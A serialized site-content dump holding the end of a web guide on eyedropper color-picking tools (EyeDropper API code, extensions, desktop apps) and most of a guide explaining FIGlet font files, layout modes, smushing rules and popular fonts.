}\n}\n",[143,102207,102208,102219,102226,102242,102260,102273,102280,102291,102296,102309,102313],{"__ignoreMap":141},[1560,102209,102210,102212,102214,102217],{"class":1562,"line":1563},[1560,102211,82166],{"class":1669},[1560,102213,38314],{"class":1669},[1560,102215,102216],{"class":1566}," pickColor",[1560,102218,8654],{"class":1570},[1560,102220,102221,102224],{"class":1562,"line":337},[1560,102222,102223],{"class":1669},"  try",[1560,102225,1571],{"class":1570},[1560,102227,102228,102230,102233,102235,102237,102240],{"class":1562,"line":343},[1560,102229,9385],{"class":1669},[1560,102231,102232],{"class":1576}," eyeDropper",[1560,102234,8186],{"class":1669},[1560,102236,11489],{"class":1669},[1560,102238,102239],{"class":1566}," EyeDropper",[1560,102241,27830],{"class":1570},[1560,102243,102244,102246,102248,102250,102252,102255,102258],{"class":1562,"line":365},[1560,102245,9385],{"class":1669},[1560,102247,80830],{"class":1576},[1560,102249,8186],{"class":1669},[1560,102251,28065],{"class":1669},[1560,102253,102254],{"class":1570}," eyeDropper.",[1560,102256,102257],{"class":1566},"open",[1560,102259,27830],{"class":1570},[1560,102261,102262,102265,102267,102270],{"class":1562,"line":889},[1560,102263,102264],{"class":1570},"    console.",[1560,102266,8214],{"class":1566},[1560,102268,102269],{"class":1570},"(result.sRGBHex) ",[1560,102271,102272],{"class":1649},"\u002F\u002F \"#ff6600\"\n",[1560,102274,102275,102277],{"class":1562,"line":1710},[1560,102276,9434],{"class":1669},[1560,102278,102279],{"class":1570}," result.sRGBHex\n",[1560,102281,102282,102285,102288],{"class":1562,"line":1717},[1560,102283,102284],{"class":1570},"  } ",[1560,102286,102287],{"class":1669},"catch",[1560,102289,102290],{"class":1570}," (e) {\n",[1560,102292,102293],{"class":1562,"line":1747},[1560,102294,102295],{"class":1649},"    \u002F\u002F User cancelled the picker\n",[1560,102297,102298,102300,102302,102304,102307],{"class":1562,"line":2507},[1560,102299,102264],{"class":1570},[1560,102301,8214],{"class":1566},[1560,102303,1688],{"class":1570},[1560,102305,102306],{"class":5634},"'Color picking cancelled'",[1560,102308,8252],{"class":1570},[1560,102310,102311],{"class":1562,"line":2524},[1560,102312,4959],{"class":1570},[1560,102314,102315],{"class":1562,"line":2529},[1560,102316,1585],{"class":1570},[33,102318,102320],{"id":102319},"triggering-the-picker","Triggering the Picker",[135,102322,102324],{"className":6417,"code":102323,"language":6419,"meta":141,"style":141},"\u003Cbutton onclick=\"pickColor()\">Pick a Color\u003C\u002Fbutton>\n\u003Cdiv id=\"preview\" style=\"width:40px; height:40px; border:1px solid #ccc;\">\u003C\u002Fdiv>\n\n\u003Cscript>\nasync function pickColor() {\n  const eyeDropper = new EyeDropper()\n  const result = await eyeDropper.open()\n  document.getElementById('preview').style.backgroundColor = result.sRGBHex\n}\n\u003C\u002Fscript>\n",[143,102325,102326,102352,102378,102382,102390,102400,102414,102430,102449,102453],{"__ignoreMap":141},[1560,102327,102328,102330,102332,102335,102337,102339,102342,102345,102348,102350],{"class":1562,"line":1563},[1560,102329,6431],{"class":1570},[1560,102331,12250],{"class":2484},[1560,102333,102334],{"class":1566}," onclick",[1560,102336,7297],{"class":1570},[1560,102338,8721],{"class":5634},[1560,102340,102341],{"class":1566},"pickColor",[1560,102343,102344],{"class":5634},"()\"",[1560,102346,102347],{"class":1570},">Pick a Color\u003C\u002F",[1560,102349,12250],{"class":2484},[1560,102351,6441],{"class":1570},[1560,102353,102354,102356,102358,102360,102362,102365,102367,102369,102372,102374,102376],{"class":1562,"line":337},[1560,102355,6431],{"class":1570},[1560,102357,7291],{"class":2484},[1560,102359,43519],{"class":1566},[1560,102361,7297],{"class":1570},[1560,102363,102364],{"class":5634},"\"preview\"",[1560,102366,11449],{"class":1566},[1560,102368,7297],{"class":1570},[1560,102370,102371],{"class":5634},"\"width:40px; height:40px; border:1px solid #ccc;\"",[1560,102373,12441],{"class":1570},[1560,102375,7291],{"class":2484},[1560,102377,6441],{"class":1570},[1560,102379,102380],{"class":1562,"line":343},[1560,102381,1702],{"emptyLinePlaceholder":363},[1560,102383,102384,102386,102388],{"class":1562,"line":365},[1560,102385,6431],{"class":1570},[1560,102387,11475],{"class":2484},[1560,102389,6441],{"class":1570},[1560,102391,102392,102394,102396,102398],{"class":1562,"line":889},[1560,102393,82166],{"class":1669},[1560,102395,38314],{"class":1669},[1560,102397,102216],{"class":1566},[1560,102399,8654],{"class":1570},[1560,102401,102402,102404,102406,102408,102410,102412],{"class":1562,"line":1710},[1560,102403,28057],{"class":1669},[1560,102405,102232],{"class":1576},[1560,102407,8186],{"class":1669},[1560,102409,11489],{"class":1669},[1560,102411,102239],{"class":1566},[1560,102413,27830],{"class":1570},[1560,102415,102416,102418,102420,102422,102424,102426,102428],{"class":1562,"line":1717},[1560,102417,28057],{"class":1669},[1560,102419,80830],{"class":1576},[1560,102421,8186],{"class":1669},[1560,102423,28065],{"class":1669},[1560,102425,102254],{"class":1570},[1560,102427,102257],{"class":1566},[1560,102429,27830],{"class":1570},[1560,102431,102432,102434,102437,102439,102442,102445,102447],{"class":1562,"line":1747},[1560,102433,11783],{"class":1570},[1560,102435,102436],{"class":1566},"getElementById",[1560,102438,1688],{"class":1570},[1560,102440,102441],{"class":5634},"'preview'",[1560,102443,102444],{"class":1570},").style.backgroundColor ",[1560,102446,7297],{"class":1669},[1560,102448,102279],{"class":1570},[1560,102450,102451],{"class":1562,"line":2507},[1560,102452,1585],{"class":1570},[1560,102454,102455,102457,102459],{"class":1562,"line":2524},[1560,102456,11242],{"class":1570},[1560,102458,11475],{"class":2484},[1560,102460,6441],{"class":1570},[33,102462,5512],{"id":5511},[193,102464,102465,102476],{},[196,102466,102467],{},[199,102468,102469,102471,102474],{},[202,102470,5524],{},[202,102472,102473],{},"Support",[202,102475,2683],{},[211,102477,102478,102488,102496,102506,102515],{},[199,102479,102480,102482,102485],{},[216,102481,5534],{},[216,102483,102484],{},"95+",[216,102486,102487],{},"Full support",[199,102489,102490,102492,102494],{},[216,102491,5558],{},[216,102493,102484],{},[216,102495,102487],{},[199,102497,102498,102501,102504],{},[216,102499,102500],{},"Opera",[216,102502,102503],{},"81+",[216,102505,102487],{},[199,102507,102508,102510,102512],{},[216,102509,5542],{},[216,102511,6117],{},[216,102513,102514],{},"Not implemented",[199,102516,102517,102519,102521],{},[216,102518,5550],{},[216,102520,6117],{},[216,102522,102514],{},[16,102524,102525],{},"For unsupported browsers, fall back to a manual color input:",[135,102527,102529],{"className":1607,"code":102528,"language":1609,"meta":141,"style":141},"function isEyeDropperSupported() {\n  return 'EyeDropper' in window\n}\n\nif (isEyeDropperSupported()) {\n  \u002F\u002F Show eyedropper button\n} else {\n  \u002F\u002F Show fallback color input\n}\n",[143,102530,102531,102540,102553,102557,102561,102572,102577,102586,102591],{"__ignoreMap":141},[1560,102532,102533,102535,102538],{"class":1562,"line":1563},[1560,102534,8648],{"class":1669},[1560,102536,102537],{"class":1566}," isEyeDropperSupported",[1560,102539,8654],{"class":1570},[1560,102541,102542,102544,102547,102550],{"class":1562,"line":337},[1560,102543,9350],{"class":1669},[1560,102545,102546],{"class":5634}," 'EyeDropper'",[1560,102548,102549],{"class":1669}," in",[1560,102551,102552],{"class":1570}," window\n",[1560,102554,102555],{"class":1562,"line":343},[1560,102556,1585],{"class":1570},[1560,102558,102559],{"class":1562,"line":365},[1560,102560,1702],{"emptyLinePlaceholder":363},[1560,102562,102563,102565,102567,102570],{"class":1562,"line":889},[1560,102564,8052],{"class":1669},[1560,102566,5181],{"class":1570},[1560,102568,102569],{"class":1566},"isEyeDropperSupported",[1560,102571,88218],{"class":1570},[1560,102573,102574],{"class":1562,"line":1710},[1560,102575,102576],{"class":1649},"  \u002F\u002F Show eyedropper button\n",[1560,102578,102579,102582,102584],{"class":1562,"line":1717},[1560,102580,102581],{"class":1570},"} ",[1560,102583,82068],{"class":1669},[1560,102585,1571],{"class":1570},[1560,102587,102588],{"class":1562,"line":1747},[1560,102589,102590],{"class":1649},"  \u002F\u002F Show fallback color input\n",[1560,102592,102593],{"class":1562,"line":2507},[1560,102594,1585],{"class":1570},[33,102596,102598],{"id":102597},"security-considerations","Security Considerations",[16,102600,102601],{},"The EyeDropper API requires user activation — you can't open the picker automatically. This prevents malicious sites from silently sampling screen content. The browser shows explicit UI indicating the picker is active, and users can cancel at any time with Escape.",[11,102603,102605],{"id":102604},"browser-extensions","Browser Extensions",[16,102607,102608],{},"Extensions work everywhere on the page and can pick colors from any visible element, including areas outside the web page content area.",[33,102610,102612],{"id":102611},"top-extensions-compared","Top Extensions Compared",[193,102614,102615,102632],{},[196,102616,102617],{},[199,102618,102619,102622,102624,102626,102629],{},[202,102620,102621],{},"Extension",[202,102623,5534],{},[202,102625,5542],{},[202,102627,102628],{},"Features",[202,102630,102631],{},"Price",[211,102633,102634,102648,102662,102676],{},[199,102635,102636,102639,102641,102643,102646],{},[216,102637,102638],{},"ColorZilla",[216,102640,3057],{},[216,102642,3057],{},[216,102644,102645],{},"Eyedropper, CSS gradient generator, palette history",[216,102647,16450],{},[199,102649,102650,102653,102655,102657,102660],{},[216,102651,102652],{},"Eye Dropper",[216,102654,3057],{},[216,102656,6117],{},[216,102658,102659],{},"Simple picker, history, multiple formats",[216,102661,16450],{},[199,102663,102664,102667,102669,102671,102674],{},[216,102665,102666],{},"ColorPick Eyedropper",[216,102668,3057],{},[216,102670,6117],{},[216,102672,102673],{},"Zoom picker, auto-copy, formats",[216,102675,16450],{},[199,102677,102678,102681,102683,102685,102688],{},[216,102679,102680],{},"Rainbow Color Tools",[216,102682,6117],{},[216,102684,3057],{},[216,102686,102687],{},"Picker, inspector, library",[216,102689,16450],{},[33,102691,102693],{"id":102692},"what-extensions-offer-over-the-api","What Extensions Offer Over the API",[41,102695,102696,102702,102708,102713],{},[44,102697,102698,102701],{},[47,102699,102700],{},"Cross-origin picking",": Extensions can sample colors from browser chrome (toolbars, other tabs), while the EyeDropper API is limited to screen pixels",[44,102703,102704,102707],{},[47,102705,102706],{},"Persistent history",": Save picked colors across sessions",[44,102709,102710,102712],{},[47,102711,84427],{},": Instantly convert between hex, RGB, HSL, and OKLCH",[44,102714,102715,102718],{},[47,102716,102717],{},"Palette building",": Click multiple colors to build a palette without leaving the picker",[11,102720,102722],{"id":102721},"desktop-eyedropper-apps","Desktop Eyedropper Apps",[16,102724,102725],{},"When you need to pick colors outside the browser — from desktop apps, games, or system UI — a desktop tool is the only option.",[193,102727,102728,102739],{},[196,102729,102730],{},[199,102731,102732,102734,102736],{},[202,102733,751],{},[202,102735,23888],{},[202,102737,102738],{},"Key Feature",[211,102740,102741,102751,102761,102771,102781],{},[199,102742,102743,102746,102748],{},[216,102744,102745],{},"macOS Digital Color Meter",[216,102747,24209],{},[216,102749,102750],{},"Built-in, no install",[199,102752,102753,102756,102758],{},[216,102754,102755],{},"PowerToys Color Picker",[216,102757,24176],{},[216,102759,102760],{},"Win+Shift+C, auto-copy",[199,102762,102763,102766,102768],{},[216,102764,102765],{},"gpick",[216,102767,24247],{},[216,102769,102770],{},"Advanced palette management",[199,102772,102773,102776,102778],{},[216,102774,102775],{},"Sip",[216,102777,24209],{},[216,102779,102780],{},"Design app integration",[199,102782,102783,102786,102789],{},[216,102784,102785],{},"Just Color Picker",[216,102787,102788],{},"Win\u002FMac",[216,102790,102791],{},"Multiple format output",[33,102793,102795],{"id":102794},"windows-powertoys-setup","Windows PowerToys Setup",[16,102797,102798],{},"PowerToys Color Picker is the fastest option for Windows users:",[77,102800,102801,102804,102807,102813,102816],{},[44,102802,102803],{},"Install PowerToys from Microsoft Store or GitHub",[44,102805,102806],{},"Enable \"Color Picker\" in PowerToys settings",[44,102808,102809,102810,1525],{},"Set activation shortcut (default: ",[143,102811,102812],{},"Win+Shift+C",[44,102814,102815],{},"Click any pixel on screen to copy the hex value",[44,102817,102818],{},"Press the shortcut again to view history",[16,102820,102821],{},"The picked color is automatically copied to your clipboard, ready to paste into CSS.",[11,102823,102825],{"id":102824},"integrating-eyedropper-picks-into-your-workflow","Integrating Eyedropper Picks Into Your Workflow",[33,102827,102829],{"id":102828},"from-pick-to-css-variable","From Pick to CSS Variable",[77,102831,102832,102835,102838,102841],{},[44,102833,102834],{},"Pick the color using any tool above",[44,102836,102837],{},"Paste the hex value into your color converter",[44,102839,102840],{},"Convert to OKLCH for your design tokens",[44,102842,102843],{},"Add to your CSS custom properties",[135,102845,102847],{"className":1554,"code":102846,"language":1556,"meta":141,"style":141},":root {\n  --brand-primary: oklch(0.55 0.2 260);\n  \u002F* Fallback *\u002F\n  --brand-primary: #3366ff;\n}\n",[143,102848,102849,102855,102875,102880,102891],{"__ignoreMap":141},[1560,102850,102851,102853],{"class":1562,"line":1563},[1560,102852,2207],{"class":1566},[1560,102854,1571],{"class":1570},[1560,102856,102857,102860,102862,102864,102866,102868,102870,102873],{"class":1562,"line":337},[1560,102858,102859],{"class":2219},"  --brand-primary",[1560,102861,1663],{"class":1570},[1560,102863,30410],{"class":1576},[1560,102865,1688],{"class":1570},[1560,102867,51069],{"class":1576},[1560,102869,30419],{"class":1576},[1560,102871,102872],{"class":1576}," 260",[1560,102874,1744],{"class":1570},[1560,102876,102877],{"class":1562,"line":343},[1560,102878,102879],{"class":1649},"  \u002F* Fallback *\u002F\n",[1560,102881,102882,102884,102886,102889],{"class":1562,"line":365},[1560,102883,102859],{"class":2219},[1560,102885,1663],{"class":1570},[1560,102887,102888],{"class":1576},"#3366ff",[1560,102890,2228],{"class":1570},[1560,102892,102893],{"class":1562,"line":889},[1560,102894,1585],{"class":1570},[33,102896,102898],{"id":102897},"building-palettes-from-picks","Building Palettes from Picks",[16,102900,102901],{},"Don't use picked colors directly — they're almost never part of a coherent system. Instead:",[77,102903,102904,102907,102910,102913],{},[44,102905,102906],{},"Pick the reference color from your inspiration source",[44,102908,102909],{},"Identify the hue angle in OKLCH",[44,102911,102912],{},"Generate a full shade scale from that hue",[44,102914,102915],{},"Validate contrast ratios for text usage",[16,102917,102918],{},"This converts a single inspiration color into a complete, accessible design system.",[11,102920,321],{"id":320},[41,102922,102923,102927,102931],{},[44,102924,102925],{},[98,102926,29505],{"href":29504},[44,102928,102929],{},[98,102930,28689],{"href":29551},[44,102932,102933],{},[98,102934,102936],{"href":102935},"\u002Fguides\u002Foklch-color-space-explained","OKLCH Color Space Explained",[11,102938,286],{"id":285},[16,102940,102941],{},"Pick colors from anywhere on your screen and instantly convert them to hex, RGB, HSL, and OKLCH. Our free tool handles every format you need.",[16,102943,4531,102944],{},[98,102945,102946],{"href":32107},[47,102947,102948],{},"Free Color Picker",[2043,102950,102951],{},"html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}",{"title":141,"searchDepth":337,"depth":337,"links":102953},[102954,102955,102961,102965,102968,102972,102973],{"id":102183,"depth":337,"text":102184},{"id":102193,"depth":337,"text":102194,"children":102956},[102957,102958,102959,102960],{"id":31482,"depth":343,"text":31483},{"id":102319,"depth":343,"text":102320},{"id":5511,"depth":343,"text":5512},{"id":102597,"depth":343,"text":102598},{"id":102604,"depth":337,"text":102605,"children":102962},[102963,102964],{"id":102611,"depth":343,"text":102612},{"id":102692,"depth":343,"text":102693},{"id":102721,"depth":337,"text":102722,"children":102966},[102967],{"id":102794,"depth":343,"text":102795},{"id":102824,"depth":337,"text":102825,"children":102969},[102970,102971],{"id":102828,"depth":343,"text":102829},{"id":102897,"depth":343,"text":102898},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"How to use browser eyedropper APIs and extensions to pick colors from any screen element.",{"immutable":363},"\u002Fguides\u002Feyedropper-tool-web-design",{"title":102178,"description":102974},"guides\u002Feyedropper-tool-web-design","RvLhfRZxRe8PZXF65-BNQhkk0fFfQPzBGk0XYL4AFYk",{"id":102981,"title":7104,"body":102982,"date":2070,"description":103631,"extension":361,"meta":103632,"navigation":363,"path":7103,"readingTime":7146,"seo":103635,"stem":103636,"__hash__":103637},"guides\u002Fguides\u002Ffiglet-fonts-explained.md",{"type":8,"value":102983,"toc":103612},[102984,102987,102991,102994,102997,103001,103004,103008,103011,103017,103103,103114,103118,103121,103124,103130,103133,103137,103140,103144,103147,103151,103154,103158,103161,103165,103168,103299,103302,103306,103309,103452,103456,103459,103465,103471,103477,103483,103487,103567,103570,103572,103589,103591,103601,103603,103606,103610],[16,102985,102986],{},"Every ASCII text banner you see in a terminal or README starts life as a font definition. FIGlet, the tool that pioneered automated ASCII text rendering, uses a specific file format and a set of layout algorithms to transform plain strings into block-letter art. Understanding how FIGlet fonts work helps you pick the right style for any project.",[11,102988,102990],{"id":102989},"a-brief-history-of-figlet","A Brief History of FIGlet",[16,102992,102993],{},"Leslie Ayers, Ian Chai, and Christiaan Keet created FIGlet in 1991. The name is a play on \"Frank, Ian, and Glenn's letters\" — the original contributors. FIGlet solved a simple problem: no one wanted to hand-draw large text banners for every script, welcome message, or BBS login screen.",[16,102995,102996],{},"FIGlet's design philosophy was straightforward. Define each character as a grid of ASCII glyphs, store those definitions in a font file, and render arbitrary strings by stitching characters together. That core approach has not changed in over three decades.",[11,102998,103000],{"id":102999},"the-flf-font-file-format","The FLF Font File Format",[16,103002,103003],{},"FIGlet fonts use the FLF (FIGlet Letter Font) format. An FLF file is a plain-text file with two sections: a header and the character definitions.",[33,103005,103007],{"id":103006},"the-header","The Header",[16,103009,103010],{},"The first line of an FLF file contains six fields separated by whitespace:",[135,103012,103015],{"className":103013,"code":103014,"language":140},[138],"flf2a$ 6 5 16 15 11 0\n",[143,103016,103014],{"__ignoreMap":141},[193,103018,103019,103027],{},[196,103020,103021],{},[199,103022,103023,103025],{},[202,103024,14305],{},[202,103026,4228],{},[211,103028,103029,103041,103050,103059,103066,103075,103084,103094],{},[199,103030,103031,103036],{},[216,103032,103033],{},[143,103034,103035],{},"flf2a$",[216,103037,103038,103039,1525],{},"Magic string and hardblank character (here ",[143,103040,11938],{},[199,103042,103043,103047],{},[216,103044,103045],{},[143,103046,44593],{},[216,103048,103049],{},"Height of each character in lines",[199,103051,103052,103056],{},[216,103053,103054],{},[143,103055,13431],{},[216,103057,103058],{},"Baseline position (lines from top to baseline)",[199,103060,103061,103063],{},[216,103062],{},[216,103064,103065],{},"Not used directly in rendering",[199,103067,103068,103072],{},[216,103069,103070],{},[143,103071,10057],{},[216,103073,103074],{},"Max character width",[199,103076,103077,103081],{},[216,103078,103079],{},[143,103080,14854],{},[216,103082,103083],{},"Number of comment lines after the header",[199,103085,103086,103091],{},[216,103087,103088],{},[143,103089,103090],{},"11",[216,103092,103093],{},"Print direction — 0 for left-to-right",[199,103095,103096,103100],{},[216,103097,103098],{},[143,103099,5285],{},[216,103101,103102],{},"Full layout code (controls smushing rules)",[16,103104,421,103105,103108,103109,1531,103111,103113],{},[47,103106,103107],{},"hardblank"," character is critical. It represents a space that should never be removed during smushing (character merging). Typically set to ",[143,103110,11938],{},[143,103112,6849],{},", it prevents the gaps between character strokes from collapsing.",[33,103115,103117],{"id":103116},"character-definitions","Character Definitions",[16,103119,103120],{},"After the header and comment lines, each character is defined as successive lines of text, terminated by a line containing ONLY the end marker (usually a newline-like character pair). Characters are listed in order starting from code point 32 (space).",[16,103122,103123],{},"A simple three-line font might define the letter \"A\" like this:",[135,103125,103128],{"className":103126,"code":103127,"language":140},[138],"  #\n # #\n#####\n#   #\n#   #\n",[143,103129,103127],{"__ignoreMap":141},[16,103131,103132],{},"Each line is exactly the same width for that character. FIGlet reads these definitions character by character and assembles them into a complete output.",[11,103134,103136],{"id":103135},"how-rendering-works-layout-modes","How Rendering Works: Layout Modes",[16,103138,103139],{},"FIGlet does not simply place characters side by side. It applies layout rules to merge adjacent characters, reducing gaps and creating a more cohesive visual appearance. There are three primary layout modes.",[33,103141,103143],{"id":103142},"full-width","Full Width",[16,103145,103146],{},"Characters are placed with their full defined width, including trailing spaces. No merging occurs. This produces the widest output with visible gaps between letters.",[33,103148,103150],{"id":103149},"horizontal-fitting-kerning","Horizontal Fitting (Kerning)",[16,103152,103153],{},"Characters are shifted left until at least one pair of adjacent columns contains a non-space character in both the left and right characters. This tightens the output like kerning in typography.",[33,103155,103157],{"id":103156},"smushing","Smushing",[16,103159,103160],{},"Smushing is the most aggressive layout mode. After kerning, FIGlet continues shifting characters left and attempts to merge overlapping characters into a single character. Smushing only works when specific rules allow the merge.",[11,103162,103164],{"id":103163},"the-six-smushing-rules","The Six Smushing Rules",[16,103166,103167],{},"Smushing is governed by six rules, each controlling when two overlapping characters can merge into one. These rules are encoded in the font header's layout code.",[193,103169,103170,103181],{},[196,103171,103172],{},[199,103173,103174,103176,103178],{},[202,103175,52097],{},[202,103177,21954],{},[202,103179,103180],{},"Merge Condition",[211,103182,103183,103198,103214,103238,103267,103289],{},[199,103184,103185,103187,103190],{},[216,103186,3585],{},[216,103188,103189],{},"Equal Character",[216,103191,103192,103193,103195,103196,1525],{},"Both characters are the same (e.g., two ",[143,103194,9423],{}," merge into one ",[143,103197,9423],{},[199,103199,103200,103202,103205],{},[216,103201,10099],{},[216,103203,103204],{},"Underscore",[216,103206,103207,103208,103210,103211],{},"One character is ",[143,103209,23056],{}," and the other is one of ",[143,103212,103213],{},"|\u002F,",[199,103215,103216,103218,103221],{},[216,103217,17821],{},[216,103219,103220],{},"Hierarchy",[216,103222,103223,103224,103226,103227,103226,103230,103226,103233,103226,103236],{},"One character belongs to a higher class: ",[143,103225,7334],{}," > ",[143,103228,103229],{},"\u002F\\",[143,103231,103232],{},"[]",[143,103234,103235],{},"{}",[143,103237,90220],{},[199,103239,103240,103242,103245],{},[216,103241,12546],{},[216,103243,103244],{},"Opposite Pairs",[216,103246,103247,103248,1459,103250,1459,103252,1459,103254,1459,103257,1459,103259,1459,103262,1459,103264],{},"Characters form a pair: ",[143,103249,103229],{},[143,103251,43130],{},[143,103253,90220],{},[143,103255,103256],{},")(",[143,103258,103232],{},[143,103260,103261],{},"][",[143,103263,103235],{},[143,103265,103266],{},"}{",[199,103268,103269,103271,103274],{},[216,103270,13431],{},[216,103272,103273],{},"Big X",[216,103275,103276,103277,1531,103279,103281,103282,1856,103284,103286,103287,1525],{},"Characters combine into ",[143,103278,28226],{},[143,103280,6431],{}," (e.g., ",[143,103283,9423],{},[143,103285,34605],{}," become ",[143,103288,28226],{},[199,103290,103291,103293,103296],{},[216,103292,44593],{},[216,103294,103295],{},"Hardblank",[216,103297,103298],{},"Two hardblanks merge into a single hardblank",[16,103300,103301],{},"When none of the enabled rules apply, the characters cannot merge and FIGlet stops shifting. The super-smushing mode (rule 6 combined with others) produces the tightest possible output.",[11,103303,103305],{"id":103304},"ten-popular-figlet-fonts-compared","Ten Popular FIGlet Fonts Compared",[16,103307,103308],{},"FIGlet ships with a standard set of fonts, and the community has contributed hundreds more. Here are ten widely used fonts with their characteristics:",[193,103310,103311,103323],{},[196,103312,103313],{},[199,103314,103315,103317,103319,103321],{},[202,103316,9082],{},[202,103318,16212],{},[202,103320,9085],{},[202,103322,489],{},[211,103324,103325,103338,103351,103364,103376,103389,103401,103414,103426,103439],{},[199,103326,103327,103330,103332,103335],{},[216,103328,103329],{},"Standard",[216,103331,44593],{},[216,103333,103334],{},"Classic block letters",[216,103336,103337],{},"General use, README headers",[199,103339,103340,103343,103345,103348],{},[216,103341,103342],{},"Slant",[216,103344,44593],{},[216,103346,103347],{},"Italic\u002Fleaning style",[216,103349,103350],{},"Emphasized text, logos",[199,103352,103353,103356,103358,103361],{},[216,103354,103355],{},"Banner",[216,103357,735],{},[216,103359,103360],{},"Wide, heavy block letters",[216,103362,103363],{},"Terminal welcome banners",[199,103365,103366,103368,103370,103373],{},[216,103367,98022],{},[216,103369,44593],{},[216,103371,103372],{},"Double-stroke outlined",[216,103374,103375],{},"Visual hierarchy, section headers",[199,103377,103378,103381,103383,103386],{},[216,103379,103380],{},"Digital",[216,103382,44593],{},[216,103384,103385],{},"LCD\u002F7-segment display",[216,103387,103388],{},"Tech-themed projects",[199,103390,103391,103393,103395,103398],{},[216,103392,84639],{},[216,103394,12546],{},[216,103396,103397],{},"Compact lowercase-like",[216,103399,103400],{},"Space-constrained areas",[199,103402,103403,103406,103408,103411],{},[216,103404,103405],{},"Shadow",[216,103407,44593],{},[216,103409,103410],{},"Characters with drop shadow",[216,103412,103413],{},"Decorative headers",[199,103415,103416,103418,103420,103423],{},[216,103417,819],{},[216,103419,12546],{},[216,103421,103422],{},"Thin, diagonal strokes",[216,103424,103425],{},"Narrow terminals",[199,103427,103428,103431,103433,103436],{},[216,103429,103430],{},"Star Wars",[216,103432,10078],{},[216,103434,103435],{},"Wide cinematic style",[216,103437,103438],{},"Fun, entertainment projects",[199,103440,103441,103444,103446,103449],{},[216,103442,103443],{},"Graffiti",[216,103445,10078],{},[216,103447,103448],{},"Bold, rounded strokes",[216,103450,103451],{},"Creative, informal contexts",[11,103453,103455],{"id":103454},"choosing-the-right-font-for-your-project","Choosing the Right Font for Your Project",[16,103457,103458],{},"Consider these factors when selecting a FIGlet font:",[16,103460,103461,103464],{},[47,103462,103463],{},"Terminal width constraints."," If your banner must fit in an 80-column terminal, measure the rendered width before committing. Fonts like Banner and Star Wars produce very wide output — a 10-character string can easily exceed 100 columns.",[16,103466,103467,103470],{},[47,103468,103469],{},"Readability at a glance."," Some fonts prioritize style over legibility. If the text needs to be instantly readable, Standard or Slant are safer choices than Speed or Digital.",[16,103472,103473,103476],{},[47,103474,103475],{},"Visual tone."," A corporate CLI tool calls for a different font than a personal dotfiles repo. Standard and Block feel professional. Shadow and Graffiti feel playful.",[16,103478,103479,103482],{},[47,103480,103481],{},"Output destination."," Code comments and log files benefit from compact fonts like Small. README files and terminal splash screens have room for taller fonts like Banner.",[11,103484,103486],{"id":103485},"practical-usage-tips","Practical Usage Tips",[135,103488,103490],{"className":6951,"code":103489,"language":6953,"meta":141,"style":141},"# List all available fonts\nfiglet -I2\n\n# Render text in a specific font\nfiglet -f slant \"Deploy\"\n\n# Center output within 80 columns\nfiglet -c -w 80 \"Hello\"\n\n# Clamp maximum width\nfiglet -w 60 \"Long Project Name\"\n",[143,103491,103492,103497,103504,103508,103513,103524,103528,103533,103547,103551,103556],{"__ignoreMap":141},[1560,103493,103494],{"class":1562,"line":1563},[1560,103495,103496],{"class":1649},"# List all available fonts\n",[1560,103498,103499,103501],{"class":1562,"line":337},[1560,103500,6960],{"class":1566},[1560,103502,103503],{"class":1576}," -I2\n",[1560,103505,103506],{"class":1562,"line":343},[1560,103507,1702],{"emptyLinePlaceholder":363},[1560,103509,103510],{"class":1562,"line":365},[1560,103511,103512],{"class":1649},"# Render text in a specific font\n",[1560,103514,103515,103517,103519,103521],{"class":1562,"line":889},[1560,103516,6960],{"class":1566},[1560,103518,8091],{"class":1576},[1560,103520,9059],{"class":5634},[1560,103522,103523],{"class":5634}," \"Deploy\"\n",[1560,103525,103526],{"class":1562,"line":1710},[1560,103527,1702],{"emptyLinePlaceholder":363},[1560,103529,103530],{"class":1562,"line":1717},[1560,103531,103532],{"class":1649},"# Center output within 80 columns\n",[1560,103534,103535,103537,103539,103542,103544],{"class":1562,"line":1747},[1560,103536,6960],{"class":1566},[1560,103538,27519],{"class":1576},[1560,103540,103541],{"class":1576}," -w",[1560,103543,9342],{"class":1576},[1560,103545,103546],{"class":5634}," \"Hello\"\n",[1560,103548,103549],{"class":1562,"line":2507},[1560,103550,1702],{"emptyLinePlaceholder":363},[1560,103552,103553],{"class":1562,"line":2524},[1560,103554,103555],{"class":1649},"# Clamp maximum width\n",[1560,103557,103558,103560,103562,103564],{"class":1562,"line":2529},[1560,103559,6960],{"class":1566},[1560,103561,103541],{"class":1576},[1560,103563,18338],{"class":1576},[1560,103565,103566],{"class":5634}," \"Long Project Name\"\n",[16,103568,103569],{},"You can also use FIGlet programmatically in shell scripts to generate dynamic banners for deployment logs, CI pipelines, or server startup messages.",[11,103571,1355],{"id":1354},[41,103573,103574,103577,103580,103583,103586],{},[44,103575,103576],{},"FLF files define each ASCII character as a grid and include metadata for layout rules",[44,103578,103579],{},"FIGlet supports three layout modes: full width, horizontal fitting, and smushing",[44,103581,103582],{},"Six smushing rules control how overlapping characters merge, producing tighter output",[44,103584,103585],{},"Font selection depends on terminal width, 